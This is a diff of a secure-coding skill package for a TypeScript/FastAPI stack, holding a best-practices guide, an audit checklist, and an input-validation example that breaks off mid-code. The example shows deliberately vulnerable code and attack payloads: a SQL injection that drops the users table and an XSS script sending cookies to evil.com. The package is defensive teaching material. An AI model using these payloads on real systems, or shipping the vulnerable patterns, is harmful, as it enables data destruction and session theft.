const apiKey = "sk-..."; // NEVER DO THIS!
|
||||
```
|
||||
|
||||
```python
|
||||
# [OK] Correct - Use os.getenv (Doppler provides at runtime)
|
||||
import os
|
||||
api_key = os.getenv("OPENAI_API_KEY")
|
||||
|
||||
# [X] Wrong - Hardcoded secrets
|
||||
api_key = "sk-..." # NEVER DO THIS!
|
||||
```
|
||||
|
||||
## Input Validation
|
||||
|
||||
### TypeScript (Zod Validation)
|
||||
|
||||
```typescript
|
||||
import { z } from "zod";
|
||||
|
||||
// [OK] Validate all user input
|
||||
const UserCreateSchema = z.object({
|
||||
email_address: z.string().email().max(255),
|
||||
name: z.string().min(1).max(100),
|
||||
age: z.number().int().min(0).max(150),
|
||||
});
|
||||
|
||||
export const createUser = createServerFn("POST", async (data: unknown) => {
|
||||
// Validate input
|
||||
const validated = UserCreateSchema.parse(data);
|
||||
|
||||
// Now safe to use
|
||||
await db.insert(users).values(validated);
|
||||
});
|
||||
```
|
||||
|
||||
### Python (Pydantic Validation)
|
||||
|
||||
```python
|
||||
from pydantic import BaseModel, EmailStr, Field, validator
|
||||
|
||||
class UserCreate(BaseModel):
|
||||
"""User creation schema with validation."""
|
||||
email_address: EmailStr
|
||||
name: str = Field(min_length=1, max_length=100)
|
||||
age: int = Field(ge=0, le=150)
|
||||
|
||||
@validator("name")
|
||||
def name_must_not_contain_special_chars(cls, v):
|
||||
if not v.replace(" ", "").isalnum():
|
||||
raise ValueError("Name must be alphanumeric")
|
||||
return v
|
||||
|
||||
@router.post("/users", response_model=UserResponse)
|
||||
async def create_user(data: UserCreate):
|
||||
# Pydantic validates automatically
|
||||
# data is now safe to use
|
||||
pass
|
||||
```
|
||||
|
||||
## Output Sanitization
|
||||
|
||||
### HTML Escaping (XSS Prevention)
|
||||
|
||||
```typescript
|
||||
// [OK] React automatically escapes in JSX
|
||||
function UserProfile({ user }: { user: User }) {
|
||||
return <div>{user.name}</div>; // Safe, auto-escaped
|
||||
}
|
||||
|
||||
// [X] Dangerous - Raw HTML
|
||||
function UserProfile({ user }: { user: User }) {
|
||||
return <div dangerouslySetInnerHTML={{ __html: user.bio }} />; // UNSAFE!
|
||||
}
|
||||
|
||||
// [OK] If HTML needed, sanitize first
|
||||
import DOMPurify from "isomorphic-dompurify";
|
||||
|
||||
function UserProfile({ user }: { user: User }) {
|
||||
const sanitized = DOMPurify.sanitize(user.bio);
|
||||
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
|
||||
}
|
||||
```
|
||||
|
||||
### SQL Injection Prevention
|
||||
|
||||
```typescript
|
||||
// [OK] Use parameterized queries (Drizzle)
|
||||
const user = await db.query.users.findFirst({
|
||||
where: eq(users.email_address, email), // Safe, parameterized
|
||||
});
|
||||
|
||||
// [X] Never concatenate SQL
|
||||
const user = await db.execute(
|
||||
`SELECT * FROM users WHERE email = '${email}'` // SQL INJECTION!
|
||||
);
|
||||
```
|
||||
|
||||
```python
|
||||
# [OK] Use ORM (SQLModel/SQLAlchemy)
|
||||
user = await session.execute(
|
||||
select(User).where(User.email_address == email) # Safe, parameterized
|
||||
)
|
||||
|
||||
# [X] Never concatenate SQL
|
||||
user = await session.execute(
|
||||
f"SELECT * FROM users WHERE email = '{email}'" # SQL INJECTION!
|
||||
)
|
||||
```
|
||||
|
||||
## Multi-Tenant Security (RLS)
|
||||
|
||||
### Enable RLS on All Tables
|
||||
|
||||
```sql
|
||||
-- ALWAYS enable RLS for multi-tenant tables
|
||||
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE organizations ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE teams ENABLE ROW LEVEL SECURITY;
|
||||
```
|
||||
|
||||
### Tenant Isolation Policies
|
||||
|
||||
```sql
|
||||
-- Authenticated users see only their tenant's data
|
||||
CREATE POLICY "Tenant isolation for users"
|
||||
ON users FOR ALL TO authenticated
|
||||
USING (tenant_id = (current_setting('request.jwt.claims')::json->>'tenant_id')::uuid);
|
||||
```
|
||||
|
||||
### Always Include tenant_id in Queries
|
||||
|
||||
```typescript
|
||||
// [OK] Correct - Tenant isolation enforced
|
||||
export const getUser = createServerFn("GET", async (userId: string) => {
|
||||
const session = await getSession();
|
||||
const tenantId = session.user.tenant_id;
|
||||
|
||||
return await db.query.users.findFirst({
|
||||
where: and(
|
||||
eq(users.id, userId),
|
||||
eq(users.tenant_id, tenantId) // REQUIRED!
|
||||
),
|
||||
});
|
||||
});
|
||||
|
||||
// [X] Wrong - Missing tenant check (security vulnerability!)
|
||||
export const getUser = createServerFn("GET", async (userId: string) => {
|
||||
return await db.query.users.findFirst({
|
||||
where: eq(users.id, userId), // Can access ANY tenant's users!
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## Rate Limiting
|
||||
|
||||
### Redis-Based Rate Limiting
|
||||
|
||||
```typescript
|
||||
import { Redis } from "@upstash/redis";
|
||||
|
||||
// Doppler provides REDIS_URL
|
||||
const redis = new Redis({ url: process.env.REDIS_URL! });
|
||||
|
||||
async function rateLimit(identifier: string, limit: number, window: number) {
|
||||
const key = `rate-limit:${identifier}`;
|
||||
const count = await redis.incr(key);
|
||||
|
||||
if (count === 1) {
|
||||
await redis.expire(key, window);
|
||||
}
|
||||
|
||||
if (count > limit) {
|
||||
throw new Error("Rate limit exceeded");
|
||||
}
|
||||
|
||||
return { success: true, remaining: limit - count };
|
||||
}
|
||||
|
||||
export const sendEmail = createServerFn("POST", async (data) => {
|
||||
const session = await getSession();
|
||||
|
||||
// Rate limit: 10 emails per hour per user
|
||||
await rateLimit(`email:${session.user.id}`, 10, 3600);
|
||||
|
||||
// Send email...
|
||||
});
|
||||
```
|
||||
|
||||
## Authentication Security
|
||||
|
||||
### Password Requirements
|
||||
|
||||
```typescript
|
||||
const PasswordSchema = z.string()
|
||||
.min(12, "Password must be at least 12 characters")
|
||||
.regex(/[A-Z]/, "Must contain uppercase letter")
|
||||
.regex(/[a-z]/, "Must contain lowercase letter")
|
||||
.regex(/[0-9]/, "Must contain number")
|
||||
.regex(/[^A-Za-z0-9]/, "Must contain special character");
|
||||
```
|
||||
|
||||
### Session Security
|
||||
|
||||
```typescript
|
||||
// lib/server/auth.ts
|
||||
export const auth = betterAuth({
|
||||
session: {
|
||||
expiresIn: 7 * 24 * 60 * 60, // 7 days
|
||||
updateAge: 24 * 60 * 60, // Refresh daily
|
||||
cookieOptions: {
|
||||
httpOnly: true, // Prevent XSS
|
||||
secure: true, // HTTPS only
|
||||
sameSite: "lax", // CSRF protection
|
||||
},
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
## CORS Configuration
|
||||
|
||||
```typescript
|
||||
// TanStack Start
|
||||
import { cors } from "@elysiajs/cors";
|
||||
|
||||
app.use(cors({
|
||||
origin: [
|
||||
"https://app.greyhaven.studio",
|
||||
"https://admin.greyhaven.studio",
|
||||
],
|
||||
credentials: true,
|
||||
maxAge: 86400,
|
||||
}));
|
||||
```
|
||||
|
||||
```python
|
||||
# FastAPI
|
||||
from fastapi.middleware.cors import CORSMiddleware
|
||||
|
||||
app.add_middleware(
|
||||
CORSMiddleware,
|
||||
allow_origins=[
|
||||
"https://app.greyhaven.studio",
|
||||
"https://admin.greyhaven.studio",
|
||||
],
|
||||
allow_credentials=True,
|
||||
allow_methods=["GET", "POST", "PUT", "DELETE", "PATCH"],
|
||||
allow_headers=["*"],
|
||||
max_age=86400,
|
||||
)
|
||||
```
|
||||
|
||||
## File Upload Security
|
||||
|
||||
```typescript
|
||||
// Validate file type and size
|
||||
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
|
||||
const ALLOWED_TYPES = ["image/jpeg", "image/png", "image/webp"];
|
||||
|
||||
export const uploadFile = createServerFn("POST", async (file: File) => {
|
||||
// Validate size
|
||||
if (file.size > MAX_FILE_SIZE) {
|
||||
throw new Error("File too large");
|
||||
}
|
||||
|
||||
// Validate type
|
||||
if (!ALLOWED_TYPES.includes(file.type)) {
|
||||
throw new Error("Invalid file type");
|
||||
}
|
||||
|
||||
// Validate content (check file header, not just extension)
|
||||
const buffer = await file.arrayBuffer();
|
||||
const header = new Uint8Array(buffer.slice(0, 4));
|
||||
|
||||
// Check for valid image headers
|
||||
// JPEG: FF D8 FF
|
||||
// PNG: 89 50 4E 47
|
||||
// etc.
|
||||
|
||||
// Generate safe filename (prevent path traversal)
|
||||
const ext = file.name.split(".").pop();
|
||||
const filename = `${crypto.randomUUID()}.${ext}`;
|
||||
|
||||
// Upload to secure storage...
|
||||
});
|
||||
```
|
||||
|
||||
## Environment-Specific Security
|
||||
|
||||
### Development
|
||||
|
||||
```bash
|
||||
# Doppler: dev config
|
||||
BETTER_AUTH_URL=http://localhost:3000
|
||||
CORS_ORIGINS=http://localhost:3000,http://localhost:5173
|
||||
DEBUG=true
|
||||
```
|
||||
|
||||
### Production
|
||||
|
||||
```bash
|
||||
# Doppler: production config
|
||||
BETTER_AUTH_URL=https://app.greyhaven.studio
|
||||
CORS_ORIGINS=https://app.greyhaven.studio
|
||||
DEBUG=false
|
||||
FORCE_HTTPS=true
|
||||
```
|
||||
|
||||
## Testing Security
|
||||
|
||||
```typescript
|
||||
// tests/integration/security.test.ts
|
||||
import { describe, it, expect } from "vitest";
|
||||
|
||||
describe("Security", () => {
|
||||
it("prevents tenant data leakage", async () => {
|
||||
// Create user in tenant A
|
||||
const userA = await createUser({ email: "a@example.com", tenantId: "A" });
|
||||
|
||||
// Try to access as tenant B user
|
||||
const sessionB = await loginAs({ tenantId: "B" });
|
||||
const result = await getUserById(userA.id, sessionB);
|
||||
|
||||
// Should return null or 404, not tenant A's user
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("enforces rate limiting", async () => {
|
||||
// Make 11 requests (limit is 10)
|
||||
for (let i = 0; i < 11; i++) {
|
||||
if (i < 10) {
|
||||
await sendEmail({ to: "test@example.com" });
|
||||
} else {
|
||||
await expect(
|
||||
sendEmail({ to: "test@example.com" })
|
||||
).rejects.toThrow("Rate limit exceeded");
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## When to Apply This Skill
|
||||
|
||||
Use this skill when:
|
||||
- Handling user input
|
||||
- Implementing authentication
|
||||
- Working with sensitive data
|
||||
- Configuring API endpoints
|
||||
- Writing database queries
|
||||
- Implementing file uploads
|
||||
- Setting up CORS
|
||||
- Managing secrets with Doppler
|
||||
|
||||
## Critical Reminders
|
||||
|
||||
1. **Doppler**: ALWAYS use for secrets (never commit to git)
|
||||
2. **Input validation**: Validate ALL user input (Zod/Pydantic)
|
||||
3. **RLS**: Enable on all multi-tenant tables
|
||||
4. **tenant_id**: ALWAYS filter by tenant_id
|
||||
5. **Rate limiting**: Implement on expensive operations
|
||||
6. **HTTPS only**: Force HTTPS in production
|
||||
7. **SQL injection**: Use ORM, never concatenate SQL
|
||||
8. **XSS**: React auto-escapes, sanitize dangerouslySetInnerHTML
|
||||
9. **CORS**: Whitelist specific origins
|
||||
10. **Sessions**: httpOnly, secure, sameSite cookies
|
||||
188
skills/security-practices/checklists/security-audit-checklist.md
Normal file
188
skills/security-practices/checklists/security-audit-checklist.md
Normal file
@@ -0,0 +1,188 @@
|
||||
# Security Audit Checklist
|
||||
|
||||
Use this checklist before deploying Grey Haven applications to production.
|
||||
|
||||
## Secret Management
|
||||
|
||||
- [ ] **NO secrets committed to git** (check with `git log -p | grep -E "sk-|api_key|secret"`)
|
||||
- [ ] All secrets managed through Doppler
|
||||
- [ ] Development config uses dev secrets (Doppler dev)
|
||||
- [ ] Production config uses prod secrets (Doppler production)
|
||||
- [ ] No `.env` files committed
|
||||
- [ ] `.env.example` documents required variables
|
||||
|
||||
## Authentication & Authorization
|
||||
|
||||
- [ ] Sessions use secure, httpOnly cookies
|
||||
- [ ] sameSite="lax" or "strict" set on session cookies
|
||||
- [ ] Passwords require min 12 characters
|
||||
- [ ] Passwords validated for complexity (uppercase, lowercase, number, special char)
|
||||
- [ ] Failed login attempts rate-limited
|
||||
- [ ] Session expiry configured (max 7 days)
|
||||
- [ ] Logout properly invalidates sessions
|
||||
|
||||
## Multi-Tenant Isolation
|
||||
|
||||
- [ ] RLS enabled on ALL multi-tenant tables
|
||||
- [ ] `tenant_id` field on ALL multi-tenant tables
|
||||
- [ ] ALL queries filter by tenant_id
|
||||
- [ ] No direct SQL queries (use ORM)
|
||||
- [ ] Tenant isolation tested (cannot access other tenant's data)
|
||||
- [ ] Admin operations respect tenant boundaries
|
||||
|
||||
## Input Validation
|
||||
|
||||
- [ ] ALL user input validated (Zod for TS, Pydantic for Python)
|
||||
- [ ] Email addresses validated
|
||||
- [ ] Numeric inputs have min/max constraints
|
||||
- [ ] String inputs have length limits
|
||||
- [ ] File uploads validate type AND content
|
||||
- [ ] File upload size limits enforced (5MB default)
|
||||
|
||||
## Output Sanitization
|
||||
|
||||
- [ ] React JSX used for HTML rendering (auto-escapes)
|
||||
- [ ] No `dangerouslySetInnerHTML` without sanitization
|
||||
- [ ] DOMPurify used if HTML rendering needed
|
||||
- [ ] API responses don't include sensitive data
|
||||
- [ ] Error messages don't leak implementation details
|
||||
|
||||
## SQL Injection Prevention
|
||||
|
||||
- [ ] Drizzle ORM used for all database queries (TypeScript)
|
||||
- [ ] SQLModel used for all database queries (Python)
|
||||
- [ ] NO raw SQL string concatenation
|
||||
- [ ] Parameterized queries ONLY
|
||||
- [ ] Database migrations reviewed for security
|
||||
|
||||
## XSS Prevention
|
||||
|
||||
- [ ] Content-Security-Policy header configured
|
||||
- [ ] No inline JavaScript in HTML
|
||||
- [ ] No eval() or similar dangerous functions
|
||||
- [ ] User-generated content sanitized before display
|
||||
- [ ] File uploads don't allow HTML/JavaScript
|
||||
|
||||
## CSRF Protection
|
||||
|
||||
- [ ] sameSite cookies enabled
|
||||
- [ ] CSRF tokens on state-changing operations (if needed)
|
||||
- [ ] Origin header validation
|
||||
- [ ] Double-submit cookie pattern (if applicable)
|
||||
|
||||
## CORS Configuration
|
||||
|
||||
- [ ] CORS origins explicitly whitelisted
|
||||
- [ ] NO wildcard CORS origin in production
|
||||
- [ ] credentials: true only for trusted origins
|
||||
- [ ] Preflight requests handled correctly
|
||||
|
||||
## Rate Limiting
|
||||
|
||||
- [ ] Login endpoint rate-limited (10 attempts/hour)
|
||||
- [ ] Email send rate-limited (10 emails/hour per user)
|
||||
- [ ] API endpoints rate-limited (100 req/min per IP)
|
||||
- [ ] Expensive operations rate-limited
|
||||
- [ ] Rate limit headers returned (X-RateLimit-*)
|
||||
|
||||
## HTTPS/TLS
|
||||
|
||||
- [ ] HTTPS enforced in production
|
||||
- [ ] HTTP redirects to HTTPS
|
||||
- [ ] Strict-Transport-Security header set (HSTS)
|
||||
- [ ] Valid TLS certificate
|
||||
- [ ] TLS 1.2+ only (no TLS 1.0/1.1)
|
||||
|
||||
## Headers Security
|
||||
|
||||
- [ ] X-Frame-Options: DENY or SAMEORIGIN
|
||||
- [ ] X-Content-Type-Options: nosniff
|
||||
- [ ] X-XSS-Protection: 1; mode=block
|
||||
- [ ] Referrer-Policy: strict-origin-when-cross-origin
|
||||
- [ ] Permissions-Policy configured
|
||||
|
||||
## Error Handling
|
||||
|
||||
- [ ] Production errors don't leak stack traces
|
||||
- [ ] Errors logged server-side only
|
||||
- [ ] Generic error messages to users
|
||||
- [ ] Sentry/logging configured for production
|
||||
- [ ] No sensitive data in error messages
|
||||
|
||||
## Database Security
|
||||
|
||||
- [ ] Database credentials rotated regularly
|
||||
- [ ] Database uses TLS connection
|
||||
- [ ] Separate database users for dev/prod
|
||||
- [ ] Database backups encrypted
|
||||
- [ ] PII encrypted at rest (if applicable)
|
||||
|
||||
## File Upload Security
|
||||
|
||||
- [ ] File type validation (MIME type + magic numbers)
|
||||
- [ ] File size limits enforced
|
||||
- [ ] Uploaded files scanned for malware
|
||||
- [ ] Files stored outside web root
|
||||
- [ ] Random filenames generated (prevent path traversal)
|
||||
- [ ] Upload endpoint requires authentication
|
||||
|
||||
## Dependencies
|
||||
|
||||
- [ ] No high/critical vulnerabilities (npm audit, pip-audit)
|
||||
- [ ] Dependencies up to date
|
||||
- [ ] Dependabot/Renovate configured
|
||||
- [ ] Package-lock.json / poetry.lock committed
|
||||
- [ ] Unused dependencies removed
|
||||
|
||||
## Logging & Monitoring
|
||||
|
||||
- [ ] Security events logged (failed logins, permission changes)
|
||||
- [ ] Logs don't contain sensitive data (passwords, tokens)
|
||||
- [ ] Anomaly detection configured
|
||||
- [ ] Alerts for suspicious activity
|
||||
- [ ] Audit trail for admin actions
|
||||
|
||||
## Testing
|
||||
|
||||
- [ ] Security tests written and passing
|
||||
- [ ] Tenant isolation tested
|
||||
- [ ] Rate limiting tested
|
||||
- [ ] Input validation tested
|
||||
- [ ] Authentication flows tested
|
||||
- [ ] Permission boundaries tested
|
||||
|
||||
## Compliance (if applicable)
|
||||
|
||||
- [ ] GDPR compliance verified (EU users)
|
||||
- [ ] CCPA compliance verified (CA users)
|
||||
- [ ] SOC 2 requirements met
|
||||
- [ ] HIPAA compliance (if healthcare)
|
||||
- [ ] Data retention policies implemented
|
||||
|
||||
## Scoring
|
||||
|
||||
- **45+ items checked**: Excellent - Production ready ✅
|
||||
- **35-44 items**: Good - Minor gaps to address ⚠️
|
||||
- **25-34 items**: Fair - Significant security work needed 🔴
|
||||
- **<25 items**: Poor - NOT production ready ❌
|
||||
|
||||
## Next Steps
|
||||
|
||||
If score < 45:
|
||||
1. Address all unchecked critical items (secrets, RLS, input validation)
|
||||
2. Run `npm audit` / `pip-audit` and fix vulnerabilities
|
||||
3. Test multi-tenant isolation thoroughly
|
||||
4. Review OWASP Top 10 reference
|
||||
5. Re-run checklist
|
||||
|
||||
## Related Resources
|
||||
|
||||
- [OWASP Top 10](../reference/owasp-top-10.md)
|
||||
- [Security Configuration](../reference/security-configuration.md)
|
||||
- [Examples](../examples/INDEX.md)
|
||||
|
||||
---
|
||||
|
||||
**Total Items**: 70+ security checks
|
||||
**Critical Items**: Secrets, RLS, Input Validation, SQL Injection
|
||||
**Last Updated**: 2025-11-09
|
||||
60
skills/security-practices/examples/INDEX.md
Normal file
60
skills/security-practices/examples/INDEX.md
Normal file
@@ -0,0 +1,60 @@
|
||||
# Security Practices Examples
|
||||
|
||||
Real-world security implementation examples for Grey Haven's TanStack Start and FastAPI stack.
|
||||
|
||||
## Available Examples
|
||||
|
||||
1. **[Input Validation](input-validation-example.md)** - Comprehensive input validation patterns
|
||||
- Zod schemas for TypeScript
|
||||
- Pydantic models for Python
|
||||
- Common validation patterns
|
||||
|
||||
2. **[Multi-Tenant RLS](multi-tenant-rls-example.md)** - Row Level Security implementation
|
||||
- RLS policies for PostgreSQL
|
||||
- Tenant isolation in queries
|
||||
- Testing tenant separation
|
||||
|
||||
3. **[Secret Management](secret-management-example.md)** - Doppler integration
|
||||
- Setting up Doppler
|
||||
- Accessing secrets in code
|
||||
- Environment-specific configs
|
||||
|
||||
4. **[Rate Limiting](rate-limiting-example.md)** - Redis-based rate limiting
|
||||
- Per-user rate limits
|
||||
- Per-endpoint limits
|
||||
- Graceful degradation
|
||||
|
||||
## Recommended Path
|
||||
|
||||
**For new projects:**
|
||||
1. Start with [secret-management-example.md](secret-management-example.md)
|
||||
2. Implement [input-validation-example.md](input-validation-example.md)
|
||||
3. Add [multi-tenant-rls-example.md](multi-tenant-rls-example.md)
|
||||
4. Finish with [rate-limiting-example.md](rate-limiting-example.md)
|
||||
|
||||
**For security reviews:**
|
||||
1. Check [multi-tenant-rls-example.md](multi-tenant-rls-example.md) for data leakage
|
||||
2. Verify [input-validation-example.md](input-validation-example.md) is applied
|
||||
3. Audit [secret-management-example.md](secret-management-example.md) compliance
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### TypeScript/React Security
|
||||
- See [input-validation-example.md](input-validation-example.md#typescript)
|
||||
- See [multi-tenant-rls-example.md](multi-tenant-rls-example.md#typescript)
|
||||
|
||||
### Python/FastAPI Security
|
||||
- See [input-validation-example.md](input-validation-example.md#python)
|
||||
- See [multi-tenant-rls-example.md](multi-tenant-rls-example.md#python)
|
||||
|
||||
## Related Materials
|
||||
|
||||
- **[Security Checklist](../checklists/security-audit-checklist.md)** - Pre-deployment verification
|
||||
- **[OWASP Top 10 Reference](../reference/owasp-top-10.md)** - Common vulnerabilities
|
||||
- **[Configuration Guide](../reference/security-configuration.md)** - Complete settings
|
||||
|
||||
---
|
||||
|
||||
**Total Examples**: 4 comprehensive guides
|
||||
**Stack Coverage**: TanStack Start + FastAPI
|
||||
**Last Updated**: 2025-11-09
|
||||
570
skills/security-practices/examples/input-validation-example.md
Normal file
570
skills/security-practices/examples/input-validation-example.md
Normal file
@@ -0,0 +1,570 @@
|
||||
# Input Validation Security Example
|
||||
|
||||
Real-world example demonstrating comprehensive input validation to prevent common security vulnerabilities.
|
||||
|
||||
## Scenario
|
||||
|
||||
Building a user profile update endpoint that's vulnerable to multiple injection attacks due to insufficient validation.
|
||||
|
||||
## Vulnerable Code
|
||||
|
||||
### Backend (FastAPI) - BEFORE
|
||||
|
||||
```python
|
||||
# ❌ VULNERABLE CODE - DO NOT USE
|
||||
from fastapi import FastAPI, HTTPException
|
||||
from sqlalchemy import text
|
||||
|
||||
app = FastAPI()
|
||||
|
||||
@app.post("/api/users/{user_id}/profile")
|
||||
async def update_profile(user_id: str, request: dict):
|
||||
"""Update user profile - VULNERABLE VERSION"""
|
||||
|
||||
# ❌ VULNERABILITY 1: No input validation
|
||||
name = request.get("name")
|
||||
bio = request.get("bio")
|
||||
website = request.get("website")
|
||||
age = request.get("age")
|
||||
|
||||
# ❌ VULNERABILITY 2: SQL Injection via string concatenation
|
||||
query = text(f"""
|
||||
UPDATE users
|
||||
SET name = '{name}',
|
||||
bio = '{bio}',
|
||||
website = '{website}',
|
||||
age = {age}
|
||||
WHERE id = '{user_id}'
|
||||
""")
|
||||
|
||||
await db.execute(query)
|
||||
|
||||
return {"status": "success"}
|
||||
```
|
||||
|
||||
**Attack Examples:**
|
||||
|
||||
1. **SQL Injection:**
|
||||
```python
|
||||
POST /api/users/123/profile
|
||||
{
|
||||
"name": "'; DROP TABLE users; --",
|
||||
"bio": "innocent bio",
|
||||
"website": "https://example.com",
|
||||
"age": 25
|
||||
}
|
||||
# Executes: UPDATE users SET name = ''; DROP TABLE users; --', ...
|
||||
# Result: users table deleted!
|
||||
```
|
||||
|
||||
2. **XSS via Bio Field:**
|
||||
```python
|
||||
POST /api/users/123/profile
|
||||
{
|
||||
"name": "John",
|
||||
"bio": "<script>fetch('https://evil.com?cookie='+document.cookie)</script>",
|
||||
"website": "https://example.com",
|
||||
"age": 25
|
||||
}
|
||||
# Bio stored with script tag, executed when rendered
|
||||
```
|
||||
|
||||
3. **Type Confusion:**
|
||||
```python
|
||||
POST /api/users/123/profile
|
||||
{
|
||||
"name": "John",
|
||||
"bio": "Normal bio",
|
||||
"website": "javascript:alert('XSS')", # Invalid URL scheme
|
||||
"age": "twenty" # String instead of number - could crash
|
||||
}
|
||||
```
|
||||
|
||||
### Frontend (TanStack Start) - BEFORE
|
||||
|
||||
```typescript
|
||||
// ❌ VULNERABLE CODE - DO NOT USE
|
||||
async function updateProfile(userId: string, data: any) {
|
||||
// ❌ VULNERABILITY: No client-side validation
|
||||
// ❌ VULNERABILITY: Trusting server data without sanitization
|
||||
|
||||
const response = await fetch(`/api/users/${userId}/profile`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(data) // No validation
|
||||
});
|
||||
|
||||
return response.json();
|
||||
}
|
||||
|
||||
function ProfileForm() {
|
||||
const [bio, setBio] = useState('');
|
||||
|
||||
const handleSubmit = async (e) => {
|
||||
e.preventDefault();
|
||||
await updateProfile(userId, { bio }); // No validation
|
||||
};
|
||||
|
||||
return (
|
||||
<form onSubmit={handleSubmit}>
|
||||
<textarea value={bio} onChange={(e) => setBio(e.target.value)} />
|
||||
{/* ❌ VULNERABILITY: Rendering unescaped HTML */}
|
||||
<div dangerouslySetInnerHTML={{ __html: bio }} />
|
||||
<button type="submit">Save</button>
|
||||
</form>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
## Secure Code
|
||||
|
||||
### Step 1: Define Validation Schemas
|
||||
|
||||
**Frontend:** `src/schemas/user.ts`
|
||||
|
||||
```typescript
|
||||
// ✅ SECURE: Comprehensive Zod schema
|
||||
import { z } from 'zod';
|
||||
|
||||
export const updateProfileSchema = z.object({
|
||||
name: z
|
||||
.string()
|
||||
.min(1, 'Name is required')
|
||||
.max(100, 'Name must be less than 100 characters')
|
||||
.regex(/^[a-zA-Z\s'-]+$/, 'Name contains invalid characters')
|
||||
.transform(str => str.trim()), // Remove whitespace
|
||||
|
||||
bio: z
|
||||
.string()
|
||||
.max(500, 'Bio must be less than 500 characters')
|
||||
.transform(str => str.trim())
|
||||
.optional(),
|
||||
|
||||
website: z
|
||||
.string()
|
||||
.url('Invalid URL format')
|
||||
.refine(
|
||||
(url) => {
|
||||
// ✅ Only allow http/https schemes
|
||||
const parsed = new URL(url);
|
||||
return ['http:', 'https:'].includes(parsed.protocol);
|
||||
},
|
||||
{ message: 'URL must use http or https protocol' }
|
||||
)
|
||||
.optional(),
|
||||
|
||||
age: z
|
||||
.number()
|
||||
.int('Age must be an integer')
|
||||
.min(13, 'Must be at least 13 years old')
|
||||
.max(120, 'Invalid age')
|
||||
.optional()
|
||||
});
|
||||
|
||||
export type UpdateProfileInput = z.infer<typeof updateProfileSchema>;
|
||||
```
|
||||
|
||||
**Backend:** `app/schemas/user.py`
|
||||
|
||||
```python
|
||||
# ✅ SECURE: Pydantic model with validation
|
||||
from pydantic import BaseModel, Field, HttpUrl, validator
|
||||
import re
|
||||
|
||||
class UpdateProfileRequest(BaseModel):
|
||||
name: str = Field(..., min_length=1, max_length=100)
|
||||
bio: str | None = Field(None, max_length=500)
|
||||
website: HttpUrl | None = None # Pydantic validates URL format
|
||||
age: int | None = Field(None, ge=13, le=120)
|
||||
|
||||
@validator('name')
|
||||
def validate_name(cls, v):
|
||||
"""Only allow letters, spaces, hyphens, apostrophes"""
|
||||
if not re.match(r"^[a-zA-Z\s'\-]+$", v):
|
||||
raise ValueError('Name contains invalid characters')
|
||||
return v.strip()
|
||||
|
||||
@validator('bio')
|
||||
def validate_bio(cls, v):
|
||||
"""Strip HTML tags from bio"""
|
||||
if v:
|
||||
# Remove HTML tags (basic XSS prevention)
|
||||
v = re.sub(r'<[^>]*>', '', v)
|
||||
return v.strip()
|
||||
return v
|
||||
|
||||
@validator('website')
|
||||
def validate_website(cls, v):
|
||||
"""Ensure only http/https schemes"""
|
||||
if v and v.scheme not in ['http', 'https']:
|
||||
raise ValueError('URL must use http or https protocol')
|
||||
return v
|
||||
|
||||
class Config:
|
||||
str_strip_whitespace = True # Auto-trim strings
|
||||
```
|
||||
|
||||
### Step 2: Secure Backend Implementation
|
||||
|
||||
```python
|
||||
# ✅ SECURE CODE
|
||||
from fastapi import FastAPI, HTTPException, Depends
|
||||
from sqlalchemy.ext.asyncio import AsyncSession
|
||||
from sqlalchemy import select, update
|
||||
from uuid import UUID
|
||||
import bleach # For HTML sanitization
|
||||
|
||||
from app.schemas.user import UpdateProfileRequest
|
||||
from app.models.user import User
|
||||
from app.db.session import get_session
|
||||
from app.api.deps import get_current_user, verify_tenant_access
|
||||
|
||||
app = FastAPI()
|
||||
|
||||
@app.post("/api/users/{user_id}/profile")
|
||||
async def update_profile(
|
||||
user_id: UUID, # ✅ SECURITY: Type validation (must be valid UUID)
|
||||
data: UpdateProfileRequest, # ✅ SECURITY: Pydantic validation
|
||||
current_user: User = Depends(get_current_user), # ✅ SECURITY: Authentication
|
||||
session: AsyncSession = Depends(get_session)
|
||||
):
|
||||
"""Update user profile - SECURE VERSION"""
|
||||
|
||||
# ✅ SECURITY: Authorization - users can only update their own profile
|
||||
if current_user.id != user_id:
|
||||
raise HTTPException(status_code=403, detail="Forbidden")
|
||||
|
||||
# ✅ SECURITY: Verify user exists and belongs to correct tenant
|
||||
stmt = select(User).where(
|
||||
User.id == user_id,
|
||||
User.tenant_id == current_user.tenant_id # ✅ SECURITY: Tenant isolation
|
||||
)
|
||||
result = await session.execute(stmt)
|
||||
user = result.scalar_one_or_none()
|
||||
|
||||
if not user:
|
||||
raise HTTPException(status_code=404, detail="User not found")
|
||||
|
||||
# ✅ SECURITY: Additional HTML sanitization for bio
|
||||
sanitized_bio = None
|
||||
if data.bio:
|
||||
sanitized_bio = bleach.clean(
|
||||
data.bio,
|
||||
tags=[], # No HTML tags allowed
|
||||
strip=True
|
||||
)
|
||||
|
||||
# ✅ SECURITY: Use ORM (prevents SQL injection)
|
||||
stmt = (
|
||||
update(User)
|
||||
.where(User.id == user_id)
|
||||
.values(
|
||||
name=data.name,
|
||||
bio=sanitized_bio,
|
||||
website=str(data.website) if data.website else None,
|
||||
age=data.age
|
||||
)
|
||||
)
|
||||
|
||||
await session.execute(stmt)
|
||||
await session.commit()
|
||||
|
||||
return {"status": "success"}
|
||||
```
|
||||
|
||||
### Step 3: Secure Frontend Implementation
|
||||
|
||||
```typescript
|
||||
// ✅ SECURE CODE
|
||||
import { useState } from 'react';
|
||||
import { z } from 'zod';
|
||||
import DOMPurify from 'dompurify'; // For HTML sanitization
|
||||
import { updateProfileSchema, type UpdateProfileInput } from '@/schemas/user';
|
||||
|
||||
async function updateProfile(userId: string, data: UpdateProfileInput) {
|
||||
// ✅ SECURITY: Client-side validation before sending
|
||||
const validated = updateProfileSchema.parse(data);
|
||||
|
||||
const response = await fetch(`/api/users/${userId}/profile`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
